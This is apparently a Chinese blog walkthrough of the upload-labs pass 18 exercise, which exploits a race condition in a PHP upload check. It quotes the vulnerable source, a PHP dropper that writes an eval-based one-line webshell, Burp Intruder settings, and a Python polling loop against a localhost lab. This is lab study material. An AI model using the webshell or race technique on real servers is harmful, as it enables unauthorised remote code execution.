upload_labs_pass18_条件竞争
pass18
第18關和前面14-17關(要求上傳圖片馬)不同,直接要求上傳一個webshell
提示:
源碼:
$is_upload = false; $msg = null;if(isset($_POST['submit'])){$ext_arr = array('jpg','png','gif');$file_name = $_FILES['upload_file']['name'];$temp_file = $_FILES['upload_file']['tmp_name'];$file_ext = substr($file_name,strrpos($file_name,".")+1);$upload_file = UPLOAD_PATH . '/' . $file_name;if(move_uploaded_file($temp_file, $upload_file)){if(in_array($file_ext,$ext_arr)){$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;rename($upload_file, $img_path);$is_upload = true;}else{$msg = "只允許上傳.jpg|.png|.gif類型文件!";unlink($upload_file);}}else{$msg = '上傳出錯!';} }如果上傳的不是白名單中的文件,會調用unlink方法刪除文件。
這么想,貌似好像要用圖片馬,但是這關最好不要用文件包含漏洞,因為這也不是出題人的本意。
所以還是要上傳webshell
如何繞過上傳非白名單中的文件而不會被刪除呢?
這一關的解決思路就是利用 上傳成功之后移動文件到刪除文件這段時間之內連接webshell(利用時間差)
利用上面綠色區域中的時間去連接webshell。
但是還有一個問題:即使在短期之內連接上了webshell,但是很快文件又會被刪除。—》這樣連接webshell有什么意義呢?
解決:
首先上傳一個“獨特”的木馬,但是這個木馬不是一句話木馬,但是能夠產生一句話木馬,使得產生 的一句話木馬能夠不被刪除而能夠連接webshell
這個“獨特”的木馬內容如下:
<?php fputs(fopen('zyy.php','w'),'<?php @eval($_POST["zyy"])?>');?>這個繞過的思路就是“條件競爭”
如何在短期之內利用這個獨特的木馬呢?有兩種方法:
1.通過python腳本多線程并發的訪問。
2.利用burp不斷的上傳文件。
首先記錄利用burp進行繞過:
pass18-burp不斷上傳文件
首先開啟burp抓包,上傳competition.php
利用“Intruder”模塊進行反復的文件上傳。
發送到intruder:
在Position中清空,不需要payload。
在Payloads中,選擇 Null payload:
持續不斷無限地:選擇Continue indefinitely
Resource Pool:
將線程調整的大一些:
20個并發的線程
然后開始攻擊:start Attack
發現靶機的上傳目錄下不斷的有文件被刪除又被上傳:
然后我電腦的風扇開始呼呼呼的叫了,hhh
然后訪問這個competition文件所在的地址,使其產生一句話木馬文件。
某一刻是可以訪問到的:
而且幸運的話,在這個目錄下會生成一個一句話木馬文件,但是我就沒那么幸運,,,沒有生成,,,
如果你能夠生成,那么就可以連接這個一句話木馬webshell了。
pass18-python多線程-條件競爭
準備條件競爭的python代碼:
import requests url = "http://localhost:7298/upload-labs/upload/competition.php" while True:html = requests.get(url)if html.status_code == 200:print("OK")break基本上就是這兩個思路了。
可惡,為了跑這一關,我虛擬機靶場崩了。。。
總結
以上是生活随笔為你收集整理的upload_labs_pass18_条件竞争的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: PHP 处理金额
- 下一篇: upload-labs_pass20-m